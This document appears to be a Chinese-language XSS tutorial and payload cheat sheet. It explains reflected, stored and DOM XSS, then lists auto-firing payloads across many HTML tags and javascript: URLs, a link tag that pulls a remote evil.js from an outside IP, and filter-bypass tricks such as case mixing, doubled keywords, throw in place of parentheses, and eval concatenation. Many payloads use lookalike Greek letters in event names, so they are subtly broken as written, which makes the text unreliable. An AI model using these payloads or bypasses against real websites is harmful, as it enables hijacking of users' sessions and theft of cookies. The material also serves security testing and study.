XSS 简介
XSS,全称Cross Site Scripting,即跨站脚本攻击,是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据攻击代码的工作方式,XSS可以分为反射型的XSS、存储型的XSS和DOM型的XSS。
反射型
反射型的XSS是非持久化的,攻击者事先制作好攻击链接,需要欺骗用户自己去点击链接才能触发XSS代码,但是服务器中没有这样的页面和内容,一般容易出现在搜索页面。
存储型
存储型的XSS是持久化的,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行。这种XSS非常危险,容易造成蠕虫,大量盗窃cookie。
DOM型
DOM型的XSS是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型。
一些常用的标签与属性
下面我列举的标签大部分是可以自动触发js代码的,无需用户去交互,大部分情况下我们也是希望是自动触发而不是等用户去触发。
scirpt 标签
<script>
标签用于定义客户端脚本,比如 JavaScript。
<script>alert(1);</script> <script>alert("xss");</script>
img 标签
<img>
标签定义 HTML 页面中的图像。
<img src=1 οnerrοr=alert(1);> <img src=1 οnerrοr=alert("xss");>
input 标签
<input>
标签规定了用户可以在其中输入数据的输入字段。
onfocus 事件在对象获得焦点时发生:
<input οnfοcus=alert(1);>
竞争焦点,从而触发onblur事件:
<input οnblur=alert(1) autofocus><input autofocus>
input 标签的 autofocus 属性规定当页面加载时 <input>
元素应该自动获得焦点。可以通过autofocus属性自动执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:
<input οnfοcus="alert(1);" autofocus>
details 标签
<details>
标签通过提供用户开启关闭的交互式控件,规定了用户可见的或者隐藏的需求的补充细节。ontoggle 事件规定了在用户打开或关闭 <details>
元素时触发:
<details οntοggle=alert(1);>
使用details 标签的 open 属性触发ontoggle事件,无需用户去点击即可触发:
<details open οntοggle=alert(1);>
svg 标签
<svg>
标签用来在HTML页面中直接嵌入SVG 文件的代码。
<svg οnlοad=alert(1);>
select 标签
<select>
标签用来创建下拉列表。
<select οnfοcus=alert(1)></select>
通过autofocus属性规定当页面加载时元素应该自动获得焦点,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:
<select οnfοcus=alert(1) autofocus>
iframe 标签
<iframe>
标签会创建包含另外一个文档的内联框架。
<iframe οnlοad=alert(1);></iframe>
video 标签
<video>
标签定义视频,比如电影片段或其他视频流。
<video><source οnerrοr=alert(1)>
audio 标签
<audio>
标签定义声音,比如音乐或其他音频流。
<audio src=x οnerrοr=alert(1);>
body 标签
<body>
标签定义文档的主体。
<body οnlοad=alert(1);>
onscroll 事件在元素滚动条在滚动时触发。我们可以利用换行符以及autofocus,当用户滑动滚动条的时候自动触发,无需用户去点击触发:
<body οnscrοll=alert(1);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
textarea 标签
<textarea>
标签定义一个多行的文本输入控件。
<textarea οnfοcus=alert(1); autofocus>
keygen 标签
<keygen autofocus οnfοcus=alert(1)> //仅限火狐
marquee 标签
<marquee onstart=alert(1)></marquee> //Chrome不行,火狐和IE都可以
isindex 标签
<isindex type=image src=1 οnerrοr=alert(1)>//仅限于IE
利用 link 远程包含 JavaScript 文件
<link>
标签定义文档与外部资源的关系。在无CSP的情况下才可以使用:
<link rel=import href="http://47.xxx.xxx.72/evil.js">
利用 JavaScript 伪协议
javascript:
这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。当浏览器装载了这样的URL时,并不会转向某个URL,而是执行这个URL中包含的javascript代码,并把最后一条javascript语句的字符串值作为新文档的内容显示出来。
a 标签
<a href="javascript:alert(1);">xss</a>
iframe 标签
<iframe src=javascript:alert(1);></iframe>
img 标签
<img src=x οnerrοr=alert(1)> <img src=javascript:alert(1)> //IE7以下
form 标签
<form action="Javascript:alert(1)"><input type=submit>
XSS 常见绕过姿势
绕过空格过滤
当空格被过滤了时,我们可以用 /
来代替空格:
<img/src="x"/οnerrοr=alert(1);>
也可以:
<img/src="x"οnerrοr=alert(1);>
绕过引号过滤
如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号:
<img src=x οnerrοr=alert(`xss`);>
绕过括号过滤
当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<a onmouseover="javascript:window.onerror=alert;throw 1>
绕过关键字过滤
大小写绕过
<sCRiPt>alert(1);</sCrIpT> <ImG sRc=x onerRor=alert(1);>
双写绕过
有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过
<scrscriptipt>alert(1);</scrscriptipt> <imimgg srsrcc=x οnerrοr=alert(1);>
字符串拼接绕过
利用eval()函数
与PHP的eval()函数相同,JavaScript的eval()函数也可以计算 JavaScript 字符串,并把它作为脚本代码来执行。
<img src="x" οnerrοr="a='aler';b='t';c='(1)';eval(a+b+c)"> <img src="x" οnerrοr="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)"> // 在js中,我们可以用反引号代替单双引号
利用top
<script>top["al"+"ert"](`xss`);</script> <script>top["al"+"ert"]("xss");</script>
XSS 输出点总结
WAF最大的问题,在于不知道输出的位置,导致攻击者根据具体环境以及具体输出的标签类型便可以绕过。